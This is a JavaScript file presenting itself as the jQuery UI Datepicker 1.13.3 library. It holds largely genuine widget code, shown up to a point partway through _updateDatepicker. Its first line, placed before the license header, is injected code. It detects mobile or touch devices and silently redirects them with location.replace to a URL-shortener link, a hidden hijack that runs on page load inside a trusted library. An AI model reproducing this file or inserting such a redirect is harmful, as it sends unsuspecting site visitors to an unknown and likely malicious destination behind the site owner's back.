1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/* eslint-disable max-len, camelcase */
3/*!
4 * jQuery UI Datepicker 1.13.3
5 * https://jqueryui.com
6 *
7 * Copyright OpenJS Foundation and other contributors
8 * Released under the MIT license.
9 * https://jquery.org/license
10 */
11
12//>>label: Datepicker
13//>>group: Widgets
14//>>description: Displays a calendar from an input or inline for selecting dates.
15//>>docs: https://api.jqueryui.com/datepicker/
16//>>demos: https://jqueryui.com/datepicker/
17//>>css.structure: ../../themes/base/core.css
18//>>css.structure: ../../themes/base/datepicker.css
19//>>css.theme: ../../themes/base/theme.css
20
21( function( factory ) {
22 "use strict";
23
24 if ( typeof define === "function" && define.amd ) {
25
26 // AMD. Register as an anonymous module.
27 define( [
28 "jquery",
29 "../version",
30 "../keycode"
31 ], factory );
32 } else {
33
34 // Browser globals
35 factory( jQuery );
36 }
37} )( function( $ ) {
38"use strict";
39
40$.extend( $.ui, { datepicker: { version: "1.13.3" } } );
41
42var datepicker_instActive;
43
44function datepicker_getZindex( elem ) {
45 var position, value;
46 while ( elem.length && elem[ 0 ] !== document ) {
47
48 // Ignore z-index if position is set to a value where z-index is ignored by the browser
49 // This makes behavior of this function consistent across browsers
50 // WebKit always returns auto if the element is positioned
51 position = elem.css( "position" );
52 if ( position === "absolute" || position === "relative" || position === "fixed" ) {
53
54 // IE returns 0 when zIndex is not specified
55 // other browsers return a string
56 // we ignore the case of nested elements with an explicit value of 0
57 // <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
58 value = parseInt( elem.css( "zIndex" ), 10 );
59 if ( !isNaN( value ) && value !== 0 ) {
60 return value;
61 }
62 }
63 elem = elem.parent();
64 }
65
66 return 0;
67}
68
69/* Date picker manager.
70 Use the singleton instance of this class, $.datepicker, to interact with the date picker.
71 Settings for (groups of) date pickers are maintained in an instance object,
72 allowing multiple different settings on the same page. */
73
74function Datepicker() {
75 this._curInst = null; // The current instance in use
76 this._keyEvent = false; // If the last event was a key event
77 this._disabledInputs = []; // List of date picker inputs that have been disabled
78 this._datepickerShowing = false; // True if the popup picker is showing , false if not
79 this._inDialog = false; // True if showing within a "dialog", false if not
80 this._mainDivId = "ui-datepicker-div"; // The ID of the main datepicker division
81 this._inlineClass = "ui-datepicker-inline"; // The name of the inline marker class
82 this._appendClass = "ui-datepicker-append"; // The name of the append marker class
83 this._triggerClass = "ui-datepicker-trigger"; // The name of the trigger marker class
84 this._dialogClass = "ui-datepicker-dialog"; // The name of the dialog marker class
85 this._disableClass = "ui-datepicker-disabled"; // The name of the disabled covering marker class
86 this._unselectableClass = "ui-datepicker-unselectable"; // The name of the unselectable cell marker class
87 this._currentClass = "ui-datepicker-current-day"; // The name of the current day marker class
88 this._dayOverClass = "ui-datepicker-days-cell-over"; // The name of the day hover marker class
89 this.regional = []; // Available regional settings, indexed by language code
90 this.regional[ "" ] = { // Default regional settings
91 closeText: "Done", // Display text for close link
92 prevText: "Prev", // Display text for previous month link
93 nextText: "Next", // Display text for next month link
94 currentText: "Today", // Display text for current month link
95 monthNames: [ "January", "February", "March", "April", "May", "June",
96 "July", "August", "September", "October", "November", "December" ], // Names of months for drop-down and formatting
97 monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ], // For formatting
98 dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ], // For formatting
99 dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ], // For formatting
100 dayNamesMin: [ "Su", "Mo", "Tu", "We", "Th", "Fr", "Sa" ], // Column headings for days starting at Sunday
101 weekHeader: "Wk", // Column header for week of the year
102 dateFormat: "mm/dd/yy", // See format options on parseDate
103 firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
104 isRTL: false, // True if right-to-left language, false if left-to-right
105 showMonthAfterYear: false, // True if the year select precedes month, false for month then year
106 yearSuffix: "", // Additional text to append to the year in the month headers,
107 selectMonthLabel: "Select month", // Invisible label for month selector
108 selectYearLabel: "Select year" // Invisible label for year selector
109 };
110 this._defaults = { // Global defaults for all the date picker instances
111 showOn: "focus", // "focus" for popup on focus,
112 // "button" for trigger button, or "both" for either
113 showAnim: "fadeIn", // Name of jQuery animation for popup
114 showOptions: {}, // Options for enhanced animations
115 defaultDate: null, // Used when field is blank: actual date,
116 // +/-number for offset from today, null for today
117 appendText: "", // Display text following the input box, e.g. showing the format
118 buttonText: "...", // Text for trigger button
119 buttonImage: "", // URL for trigger button image
120 buttonImageOnly: false, // True if the image appears alone, false if it appears on a button
121 hideIfNoPrevNext: false, // True to hide next/previous month links
122 // if not applicable, false to just disable them
123 navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links
124 gotoCurrent: false, // True if today link goes back to current selection instead
125 changeMonth: false, // True if month can be selected directly, false if only prev/next
126 changeYear: false, // True if year can be selected directly, false if only prev/next
127 yearRange: "c-10:c+10", // Range of years to display in drop-down,
128 // either relative to today's year (-nn:+nn), relative to currently displayed year
129 // (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n)
130 showOtherMonths: false, // True to show dates in other months, false to leave blank
131 selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable
132 showWeek: false, // True to show week of the year, false to not show it
133 calculateWeek: this.iso8601Week, // How to calculate the week of the year,
134 // takes a Date and returns the number of the week for it
135 shortYearCutoff: "+10", // Short year values < this are in the current century,
136 // > this are in the previous century,
137 // string value starting with "+" for current year + value
138 minDate: null, // The earliest selectable date, or null for no limit
139 maxDate: null, // The latest selectable date, or null for no limit
140 duration: "fast", // Duration of display/closure
141 beforeShowDay: null, // Function that takes a date and returns an array with
142 // [0] = true if selectable, false if not, [1] = custom CSS class name(s) or "",
143 // [2] = cell title (optional), e.g. $.datepicker.noWeekends
144 beforeShow: null, // Function that takes an input field and
145 // returns a set of custom settings for the date picker
146 onSelect: null, // Define a callback function when a date is selected
147 onChangeMonthYear: null, // Define a callback function when the month or year is changed
148 onClose: null, // Define a callback function when the datepicker is closed
149 onUpdateDatepicker: null, // Define a callback function when the datepicker is updated
150 numberOfMonths: 1, // Number of months to show at a time
151 showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0)
152 stepMonths: 1, // Number of months to step back/forward
153 stepBigMonths: 12, // Number of months to step back/forward for the big links
154 altField: "", // Selector for an alternate field to store selected dates into
155 altFormat: "", // The date format to use for the alternate field
156 constrainInput: true, // The input is constrained by the current date format
157 showButtonPanel: false, // True to show button panel, false to not show it
158 autoSize: false, // True to size the input for the date format, false to leave as is
159 disabled: false // The initial disabled state
160 };
161 $.extend( this._defaults, this.regional[ "" ] );
162 this.regional.en = $.extend( true, {}, this.regional[ "" ] );
163 this.regional[ "en-US" ] = $.extend( true, {}, this.regional.en );
164 this.dpDiv = datepicker_bindHover( $( "<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) );
165}
166
167$.extend( Datepicker.prototype, {
168
169 /* Class name added to elements to indicate already configured with a date picker. */
170 markerClassName: "hasDatepicker",
171
172 //Keep track of the maximum number of rows displayed (see #7043)
173 maxRows: 4,
174
175 // TODO rename to "widget" when switching to widget factory
176 _widgetDatepicker: function() {
177 return this.dpDiv;
178 },
179
180 /* Override the default settings for all instances of the date picker.
181 * @param settings object - the new settings to use as defaults (anonymous object)
182 * @return the manager object
183 */
184 setDefaults: function( settings ) {
185 datepicker_extendRemove( this._defaults, settings || {} );
186 return this;
187 },
188
189 /* Attach the date picker to a jQuery selection.
190 * @param target element - the target input field or division or span
191 * @param settings object - the new settings to use for this date picker instance (anonymous)
192 */
193 _attachDatepicker: function( target, settings ) {
194 var nodeName, inline, inst;
195 nodeName = target.nodeName.toLowerCase();
196 inline = ( nodeName === "div" || nodeName === "span" );
197 if ( !target.id ) {
198 this.uuid += 1;
199 target.id = "dp" + this.uuid;
200 }
201 inst = this._newInst( $( target ), inline );
202 inst.settings = $.extend( {}, settings || {} );
203 if ( nodeName === "input" ) {
204 this._connectDatepicker( target, inst );
205 } else if ( inline ) {
206 this._inlineDatepicker( target, inst );
207 }
208 },
209
210 /* Create a new instance object. */
211 _newInst: function( target, inline ) {
212 var id = target[ 0 ].id.replace( /([^A-Za-z0-9_\-])/g, "\\\\$1" ); // escape jQuery meta chars
213 return { id: id, input: target, // associated target
214 selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
215 drawMonth: 0, drawYear: 0, // month being drawn
216 inline: inline, // is datepicker inline or not
217 dpDiv: ( !inline ? this.dpDiv : // presentation div
218 datepicker_bindHover( $( "<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ) ) };
219 },
220
221 /* Attach the date picker to an input field. */
222 _connectDatepicker: function( target, inst ) {
223 var input = $( target );
224 inst.append = $( [] );
225 inst.trigger = $( [] );
226 if ( input.hasClass( this.markerClassName ) ) {
227 return;
228 }
229 this._attachments( input, inst );
230 input.addClass( this.markerClassName ).on( "keydown", this._doKeyDown ).
231 on( "keypress", this._doKeyPress ).on( "keyup", this._doKeyUp );
232 this._autoSize( inst );
233 $.data( target, "datepicker", inst );
234
235 //If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665)
236 if ( inst.settings.disabled ) {
237 this._disableDatepicker( target );
238 }
239 },
240
241 /* Make attachments based on settings. */
242 _attachments: function( input, inst ) {
243 var showOn, buttonText, buttonImage,
244 appendText = this._get( inst, "appendText" ),
245 isRTL = this._get( inst, "isRTL" );
246
247 if ( inst.append ) {
248 inst.append.remove();
249 }
250 if ( appendText ) {
251 inst.append = $( "<span>" )
252 .addClass( this._appendClass )
253 .text( appendText );
254 input[ isRTL ? "before" : "after" ]( inst.append );
255 }
256
257 input.off( "focus", this._showDatepicker );
258
259 if ( inst.trigger ) {
260 inst.trigger.remove();
261 }
262
263 showOn = this._get( inst, "showOn" );
264 if ( showOn === "focus" || showOn === "both" ) { // pop-up date picker when in the marked field
265 input.on( "focus", this._showDatepicker );
266 }
267 if ( showOn === "button" || showOn === "both" ) { // pop-up date picker when button clicked
268 buttonText = this._get( inst, "buttonText" );
269 buttonImage = this._get( inst, "buttonImage" );
270
271 if ( this._get( inst, "buttonImageOnly" ) ) {
272 inst.trigger = $( "<img>" )
273 .addClass( this._triggerClass )
274 .attr( {
275 src: buttonImage,
276 alt: buttonText,
277 title: buttonText
278 } );
279 } else {
280 inst.trigger = $( "<button type='button'>" )
281 .addClass( this._triggerClass );
282 if ( buttonImage ) {
283 inst.trigger.html(
284 $( "<img>" )
285 .attr( {
286 src: buttonImage,
287 alt: buttonText,
288 title: buttonText
289 } )
290 );
291 } else {
292 inst.trigger.text( buttonText );
293 }
294 }
295
296 input[ isRTL ? "before" : "after" ]( inst.trigger );
297 inst.trigger.on( "click", function() {
298 if ( $.datepicker._datepickerShowing && $.datepicker._lastInput === input[ 0 ] ) {
299 $.datepicker._hideDatepicker();
300 } else if ( $.datepicker._datepickerShowing && $.datepicker._lastInput !== input[ 0 ] ) {
301 $.datepicker._hideDatepicker();
302 $.datepicker._showDatepicker( input[ 0 ] );
303 } else {
304 $.datepicker._showDatepicker( input[ 0 ] );
305 }
306 return false;
307 } );
308 }
309 },
310
311 /* Apply the maximum length for the date format. */
312 _autoSize: function( inst ) {
313 if ( this._get( inst, "autoSize" ) && !inst.inline ) {
314 var findMax, max, maxI, i,
315 date = new Date( 2009, 12 - 1, 20 ), // Ensure double digits
316 dateFormat = this._get( inst, "dateFormat" );
317
318 if ( dateFormat.match( /[DM]/ ) ) {
319 findMax = function( names ) {
320 max = 0;
321 maxI = 0;
322 for ( i = 0; i < names.length; i++ ) {
323 if ( names[ i ].length > max ) {
324 max = names[ i ].length;
325 maxI = i;
326 }
327 }
328 return maxI;
329 };
330 date.setMonth( findMax( this._get( inst, ( dateFormat.match( /MM/ ) ?
331 "monthNames" : "monthNamesShort" ) ) ) );
332 date.setDate( findMax( this._get( inst, ( dateFormat.match( /DD/ ) ?
333 "dayNames" : "dayNamesShort" ) ) ) + 20 - date.getDay() );
334 }
335 inst.input.attr( "size", this._formatDate( inst, date ).length );
336 }
337 },
338
339 /* Attach an inline date picker to a div. */
340 _inlineDatepicker: function( target, inst ) {
341 var divSpan = $( target );
342 if ( divSpan.hasClass( this.markerClassName ) ) {
343 return;
344 }
345 divSpan.addClass( this.markerClassName ).append( inst.dpDiv );
346 $.data( target, "datepicker", inst );
347 this._setDate( inst, this._getDefaultDate( inst ), true );
348 this._updateDatepicker( inst );
349 this._updateAlternate( inst );
350
351 //If disabled option is true, disable the datepicker before showing it (see ticket #5665)
352 if ( inst.settings.disabled ) {
353 this._disableDatepicker( target );
354 }
355
356 // Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements
357 // https://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height
358 inst.dpDiv.css( "display", "block" );
359 },
360
361 /* Pop-up the date picker in a "dialog" box.
362 * @param input element - ignored
363 * @param date string or Date - the initial date to display
364 * @param onSelect function - the function to call when a date is selected
365 * @param settings object - update the dialog date picker instance's settings (anonymous object)
366 * @param pos int[2] - coordinates for the dialog's position within the screen or
367 * event - with x/y coordinates or
368 * leave empty for default (screen centre)
369 * @return the manager object
370 */
371 _dialogDatepicker: function( input, date, onSelect, settings, pos ) {
372 var id, browserWidth, browserHeight, scrollX, scrollY,
373 inst = this._dialogInst; // internal instance
374
375 if ( !inst ) {
376 this.uuid += 1;
377 id = "dp" + this.uuid;
378 this._dialogInput = $( "<input type='text' id='" + id +
379 "' style='position: absolute; top: -100px; width: 0px;'/>" );
380 this._dialogInput.on( "keydown", this._doKeyDown );
381 $( "body" ).append( this._dialogInput );
382 inst = this._dialogInst = this._newInst( this._dialogInput, false );
383 inst.settings = {};
384 $.data( this._dialogInput[ 0 ], "datepicker", inst );
385 }
386 datepicker_extendRemove( inst.settings, settings || {} );
387 date = ( date && date.constructor === Date ? this._formatDate( inst, date ) : date );
388 this._dialogInput.val( date );
389
390 this._pos = ( pos ? ( pos.length ? pos : [ pos.pageX, pos.pageY ] ) : null );
391 if ( !this._pos ) {
392 browserWidth = document.documentElement.clientWidth;
393 browserHeight = document.documentElement.clientHeight;
394 scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
395 scrollY = document.documentElement.scrollTop || document.body.scrollTop;
396 this._pos = // should use actual width/height below
397 [ ( browserWidth / 2 ) - 100 + scrollX, ( browserHeight / 2 ) - 150 + scrollY ];
398 }
399
400 // Move input on screen for focus, but hidden behind dialog
401 this._dialogInput.css( "left", ( this._pos[ 0 ] + 20 ) + "px" ).css( "top", this._pos[ 1 ] + "px" );
402 inst.settings.onSelect = onSelect;
403 this._inDialog = true;
404 this.dpDiv.addClass( this._dialogClass );
405 this._showDatepicker( this._dialogInput[ 0 ] );
406 if ( $.blockUI ) {
407 $.blockUI( this.dpDiv );
408 }
409 $.data( this._dialogInput[ 0 ], "datepicker", inst );
410 return this;
411 },
412
413 /* Detach a datepicker from its control.
414 * @param target element - the target input field or division or span
415 */
416 _destroyDatepicker: function( target ) {
417 var nodeName,
418 $target = $( target ),
419 inst = $.data( target, "datepicker" );
420
421 if ( !$target.hasClass( this.markerClassName ) ) {
422 return;
423 }
424
425 nodeName = target.nodeName.toLowerCase();
426 $.removeData( target, "datepicker" );
427 if ( nodeName === "input" ) {
428 inst.append.remove();
429 inst.trigger.remove();
430 $target.removeClass( this.markerClassName ).
431 off( "focus", this._showDatepicker ).
432 off( "keydown", this._doKeyDown ).
433 off( "keypress", this._doKeyPress ).
434 off( "keyup", this._doKeyUp );
435 } else if ( nodeName === "div" || nodeName === "span" ) {
436 $target.removeClass( this.markerClassName ).empty();
437 }
438
439 if ( datepicker_instActive === inst ) {
440 datepicker_instActive = null;
441 this._curInst = null;
442 }
443 },
444
445 /* Enable the date picker to a jQuery selection.
446 * @param target element - the target input field or division or span
447 */
448 _enableDatepicker: function( target ) {
449 var nodeName, inline,
450 $target = $( target ),
451 inst = $.data( target, "datepicker" );
452
453 if ( !$target.hasClass( this.markerClassName ) ) {
454 return;
455 }
456
457 nodeName = target.nodeName.toLowerCase();
458 if ( nodeName === "input" ) {
459 target.disabled = false;
460 inst.trigger.filter( "button" ).
461 each( function() {
462 this.disabled = false;
463 } ).end().
464 filter( "img" ).css( { opacity: "1.0", cursor: "" } );
465 } else if ( nodeName === "div" || nodeName === "span" ) {
466 inline = $target.children( "." + this._inlineClass );
467 inline.children().removeClass( "ui-state-disabled" );
468 inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ).
469 prop( "disabled", false );
470 }
471 this._disabledInputs = $.map( this._disabledInputs,
472
473 // Delete entry
474 function( value ) {
475 return ( value === target ? null : value );
476 } );
477 },
478
479 /* Disable the date picker to a jQuery selection.
480 * @param target element - the target input field or division or span
481 */
482 _disableDatepicker: function( target ) {
483 var nodeName, inline,
484 $target = $( target ),
485 inst = $.data( target, "datepicker" );
486
487 if ( !$target.hasClass( this.markerClassName ) ) {
488 return;
489 }
490
491 nodeName = target.nodeName.toLowerCase();
492 if ( nodeName === "input" ) {
493 target.disabled = true;
494 inst.trigger.filter( "button" ).
495 each( function() {
496 this.disabled = true;
497 } ).end().
498 filter( "img" ).css( { opacity: "0.5", cursor: "default" } );
499 } else if ( nodeName === "div" || nodeName === "span" ) {
500 inline = $target.children( "." + this._inlineClass );
501 inline.children().addClass( "ui-state-disabled" );
502 inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ).
503 prop( "disabled", true );
504 }
505 this._disabledInputs = $.map( this._disabledInputs,
506
507 // Delete entry
508 function( value ) {
509 return ( value === target ? null : value );
510 } );
511 this._disabledInputs[ this._disabledInputs.length ] = target;
512 },
513
514 /* Is the first field in a jQuery collection disabled as a datepicker?
515 * @param target element - the target input field or division or span
516 * @return boolean - true if disabled, false if enabled
517 */
518 _isDisabledDatepicker: function( target ) {
519 if ( !target ) {
520 return false;
521 }
522 for ( var i = 0; i < this._disabledInputs.length; i++ ) {
523 if ( this._disabledInputs[ i ] === target ) {
524 return true;
525 }
526 }
527 return false;
528 },
529
530 /* Retrieve the instance data for the target control.
531 * @param target element - the target input field or division or span
532 * @return object - the associated instance data
533 * @throws error if a jQuery problem getting data
534 */
535 _getInst: function( target ) {
536 try {
537 return $.data( target, "datepicker" );
538 } catch ( err ) {
539 throw "Missing instance data for this datepicker";
540 }
541 },
542
543 /* Update or retrieve the settings for a date picker attached to an input field or division.
544 * @param target element - the target input field or division or span
545 * @param name object - the new settings to update or
546 * string - the name of the setting to change or retrieve,
547 * when retrieving also "all" for all instance settings or
548 * "defaults" for all global defaults
549 * @param value any - the new value for the setting
550 * (omit if above is an object or to retrieve a value)
551 */
552 _optionDatepicker: function( target, name, value ) {
553 var settings, date, minDate, maxDate,
554 inst = this._getInst( target );
555
556 if ( arguments.length === 2 && typeof name === "string" ) {
557 return ( name === "defaults" ? $.extend( {}, $.datepicker._defaults ) :
558 ( inst ? ( name === "all" ? $.extend( {}, inst.settings ) :
559 this._get( inst, name ) ) : null ) );
560 }
561
562 settings = name || {};
563 if ( typeof name === "string" ) {
564 settings = {};
565 settings[ name ] = value;
566 }
567
568 if ( inst ) {
569 if ( this._curInst === inst ) {
570 this._hideDatepicker();
571 }
572
573 date = this._getDateDatepicker( target, true );
574 minDate = this._getMinMaxDate( inst, "min" );
575 maxDate = this._getMinMaxDate( inst, "max" );
576 datepicker_extendRemove( inst.settings, settings );
577
578 // reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided
579 if ( minDate !== null && settings.dateFormat !== undefined && settings.minDate === undefined ) {
580 inst.settings.minDate = this._formatDate( inst, minDate );
581 }
582 if ( maxDate !== null && settings.dateFormat !== undefined && settings.maxDate === undefined ) {
583 inst.settings.maxDate = this._formatDate( inst, maxDate );
584 }
585 if ( "disabled" in settings ) {
586 if ( settings.disabled ) {
587 this._disableDatepicker( target );
588 } else {
589 this._enableDatepicker( target );
590 }
591 }
592 this._attachments( $( target ), inst );
593 this._autoSize( inst );
594 this._setDate( inst, date );
595 this._updateAlternate( inst );
596 this._updateDatepicker( inst );
597 }
598 },
599
600 // Change method deprecated
601 _changeDatepicker: function( target, name, value ) {
602 this._optionDatepicker( target, name, value );
603 },
604
605 /* Redraw the date picker attached to an input field or division.
606 * @param target element - the target input field or division or span
607 */
608 _refreshDatepicker: function( target ) {
609 var inst = this._getInst( target );
610 if ( inst ) {
611 this._updateDatepicker( inst );
612 }
613 },
614
615 /* Set the dates for a jQuery selection.
616 * @param target element - the target input field or division or span
617 * @param date Date - the new date
618 */
619 _setDateDatepicker: function( target, date ) {
620 var inst = this._getInst( target );
621 if ( inst ) {
622 this._setDate( inst, date );
623 this._updateDatepicker( inst );
624 this._updateAlternate( inst );
625 }
626 },
627
628 /* Get the date(s) for the first entry in a jQuery selection.
629 * @param target element - the target input field or division or span
630 * @param noDefault boolean - true if no default date is to be used
631 * @return Date - the current date
632 */
633 _getDateDatepicker: function( target, noDefault ) {
634 var inst = this._getInst( target );
635 if ( inst && !inst.inline ) {
636 this._setDateFromField( inst, noDefault );
637 }
638 return ( inst ? this._getDate( inst ) : null );
639 },
640
641 /* Handle keystrokes. */
642 _doKeyDown: function( event ) {
643 var onSelect, dateStr, sel,
644 inst = $.datepicker._getInst( event.target ),
645 handled = true,
646 isRTL = inst.dpDiv.is( ".ui-datepicker-rtl" );
647
648 inst._keyEvent = true;
649 if ( $.datepicker._datepickerShowing ) {
650 switch ( event.keyCode ) {
651 case 9: $.datepicker._hideDatepicker();
652 handled = false;
653 break; // hide on tab out
654 case 13: sel = $( "td." + $.datepicker._dayOverClass + ":not(." +
655 $.datepicker._currentClass + ")", inst.dpDiv );
656 if ( sel[ 0 ] ) {
657 $.datepicker._selectDay( event.target, inst.selectedMonth, inst.selectedYear, sel[ 0 ] );
658 }
659
660 onSelect = $.datepicker._get( inst, "onSelect" );
661 if ( onSelect ) {
662 dateStr = $.datepicker._formatDate( inst );
663
664 // Trigger custom callback
665 onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] );
666 } else {
667 $.datepicker._hideDatepicker();
668 }
669
670 return false; // don't submit the form
671 case 27: $.datepicker._hideDatepicker();
672 break; // hide on escape
673 case 33: $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
674 -$.datepicker._get( inst, "stepBigMonths" ) :
675 -$.datepicker._get( inst, "stepMonths" ) ), "M" );
676 break; // previous month/year on page up/+ ctrl
677 case 34: $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
678 +$.datepicker._get( inst, "stepBigMonths" ) :
679 +$.datepicker._get( inst, "stepMonths" ) ), "M" );
680 break; // next month/year on page down/+ ctrl
681 case 35: if ( event.ctrlKey || event.metaKey ) {
682 $.datepicker._clearDate( event.target );
683 }
684 handled = event.ctrlKey || event.metaKey;
685 break; // clear on ctrl or command +end
686 case 36: if ( event.ctrlKey || event.metaKey ) {
687 $.datepicker._gotoToday( event.target );
688 }
689 handled = event.ctrlKey || event.metaKey;
690 break; // current on ctrl or command +home
691 case 37: if ( event.ctrlKey || event.metaKey ) {
692 $.datepicker._adjustDate( event.target, ( isRTL ? +1 : -1 ), "D" );
693 }
694 handled = event.ctrlKey || event.metaKey;
695
696 // -1 day on ctrl or command +left
697 if ( event.originalEvent.altKey ) {
698 $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
699 -$.datepicker._get( inst, "stepBigMonths" ) :
700 -$.datepicker._get( inst, "stepMonths" ) ), "M" );
701 }
702
703 // next month/year on alt +left on Mac
704 break;
705 case 38: if ( event.ctrlKey || event.metaKey ) {
706 $.datepicker._adjustDate( event.target, -7, "D" );
707 }
708 handled = event.ctrlKey || event.metaKey;
709 break; // -1 week on ctrl or command +up
710 case 39: if ( event.ctrlKey || event.metaKey ) {
711 $.datepicker._adjustDate( event.target, ( isRTL ? -1 : +1 ), "D" );
712 }
713 handled = event.ctrlKey || event.metaKey;
714
715 // +1 day on ctrl or command +right
716 if ( event.originalEvent.altKey ) {
717 $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
718 +$.datepicker._get( inst, "stepBigMonths" ) :
719 +$.datepicker._get( inst, "stepMonths" ) ), "M" );
720 }
721
722 // next month/year on alt +right
723 break;
724 case 40: if ( event.ctrlKey || event.metaKey ) {
725 $.datepicker._adjustDate( event.target, +7, "D" );
726 }
727 handled = event.ctrlKey || event.metaKey;
728 break; // +1 week on ctrl or command +down
729 default: handled = false;
730 }
731 } else if ( event.keyCode === 36 && event.ctrlKey ) { // display the date picker on ctrl+home
732 $.datepicker._showDatepicker( this );
733 } else {
734 handled = false;
735 }
736
737 if ( handled ) {
738 event.preventDefault();
739 event.stopPropagation();
740 }
741 },
742
743 /* Filter entered characters - based on date format. */
744 _doKeyPress: function( event ) {
745 var chars, chr,
746 inst = $.datepicker._getInst( event.target );
747
748 if ( $.datepicker._get( inst, "constrainInput" ) ) {
749 chars = $.datepicker._possibleChars( $.datepicker._get( inst, "dateFormat" ) );
750 chr = String.fromCharCode( event.charCode == null ? event.keyCode : event.charCode );
751 return event.ctrlKey || event.metaKey || ( chr < " " || !chars || chars.indexOf( chr ) > -1 );
752 }
753 },
754
755 /* Synchronise manual entry and field/alternate field. */
756 _doKeyUp: function( event ) {
757 var date,
758 inst = $.datepicker._getInst( event.target );
759
760 if ( inst.input.val() !== inst.lastVal ) {
761 try {
762 date = $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ),
763 ( inst.input ? inst.input.val() : null ),
764 $.datepicker._getFormatConfig( inst ) );
765
766 if ( date ) { // only if valid
767 $.datepicker._setDateFromField( inst );
768 $.datepicker._updateAlternate( inst );
769 $.datepicker._updateDatepicker( inst );
770 }
771 } catch ( err ) {
772 }
773 }
774 return true;
775 },
776
777 /* Pop-up the date picker for a given input field.
778 * If false returned from beforeShow event handler do not show.
779 * @param input element - the input field attached to the date picker or
780 * event - if triggered by focus
781 */
782 _showDatepicker: function( input ) {
783 input = input.target || input;
784 if ( input.nodeName.toLowerCase() !== "input" ) { // find from button/image trigger
785 input = $( "input", input.parentNode )[ 0 ];
786 }
787
788 if ( $.datepicker._isDisabledDatepicker( input ) || $.datepicker._lastInput === input ) { // already here
789 return;
790 }
791
792 var inst, beforeShow, beforeShowSettings, isFixed,
793 offset, showAnim, duration;
794
795 inst = $.datepicker._getInst( input );
796 if ( $.datepicker._curInst && $.datepicker._curInst !== inst ) {
797 $.datepicker._curInst.dpDiv.stop( true, true );
798 if ( inst && $.datepicker._datepickerShowing ) {
799 $.datepicker._hideDatepicker( $.datepicker._curInst.input[ 0 ] );
800 }
801 }
802
803 beforeShow = $.datepicker._get( inst, "beforeShow" );
804 beforeShowSettings = beforeShow ? beforeShow.apply( input, [ input, inst ] ) : {};
805 if ( beforeShowSettings === false ) {
806 return;
807 }
808 datepicker_extendRemove( inst.settings, beforeShowSettings );
809
810 inst.lastVal = null;
811 $.datepicker._lastInput = input;
812 $.datepicker._setDateFromField( inst );
813
814 if ( $.datepicker._inDialog ) { // hide cursor
815 input.value = "";
816 }
817 if ( !$.datepicker._pos ) { // position below input
818 $.datepicker._pos = $.datepicker._findPos( input );
819 $.datepicker._pos[ 1 ] += input.offsetHeight; // add the height
820 }
821
822 isFixed = false;
823 $( input ).parents().each( function() {
824 isFixed |= $( this ).css( "position" ) === "fixed";
825 return !isFixed;
826 } );
827
828 offset = { left: $.datepicker._pos[ 0 ], top: $.datepicker._pos[ 1 ] };
829 $.datepicker._pos = null;
830
831 //to avoid flashes on Firefox
832 inst.dpDiv.empty();
833
834 // determine sizing offscreen
835 inst.dpDiv.css( { position: "absolute", display: "block", top: "-1000px" } );
836 $.datepicker._updateDatepicker( inst );
837
838 // fix width for dynamic number of date pickers
839 // and adjust position before showing
840 offset = $.datepicker._checkOffset( inst, offset, isFixed );
841 inst.dpDiv.css( { position: ( $.datepicker._inDialog && $.blockUI ?
842 "static" : ( isFixed ? "fixed" : "absolute" ) ), display: "none",
843 left: offset.left + "px", top: offset.top + "px" } );
844
845 if ( !inst.inline ) {
846 showAnim = $.datepicker._get( inst, "showAnim" );
847 duration = $.datepicker._get( inst, "duration" );
848 inst.dpDiv.css( "z-index", datepicker_getZindex( $( input ) ) + 1 );
849 $.datepicker._datepickerShowing = true;
850
851 if ( $.effects && $.effects.effect[ showAnim ] ) {
852 inst.dpDiv.show( showAnim, $.datepicker._get( inst, "showOptions" ), duration );
853 } else {
854 inst.dpDiv[ showAnim || "show" ]( showAnim ? duration : null );
855 }
856
857 if ( $.datepicker._shouldFocusInput( inst ) ) {
858 inst.input.trigger( "focus" );
859 }
860
861 $.datepicker._curInst = inst;
862 }
863 },
864
865 /* Generate the date picker content. */
866 _updateDatepicker: function( inst ) {
867 this.maxRows = 4; //Reset the max number of rows being displayed (see #7043)
868 datepicker_instActive = inst; // for delegate hover events
869 inst.dpDiv.empty().append( this._generateHTML( inst ) );
870 this._attachHandlers( inst );
871
872 var origyearshtml,
873 numMonths = this._getNumberOfMonths( inst ),
874 cols = numMonths[ 1 ],
875 width = 17,
876 activeCell = inst.dpDiv.find( "." + this._dayOverClass + " a" ),
877 onUpdateDatepicker = $.datepicker._get( inst, "onUpdateDatepicker" );
878
879 if ( activeCell.length > 0 ) {
880 datepicker_handleMouseover.apply( activeCell.get( 0 ) );
881 }
882
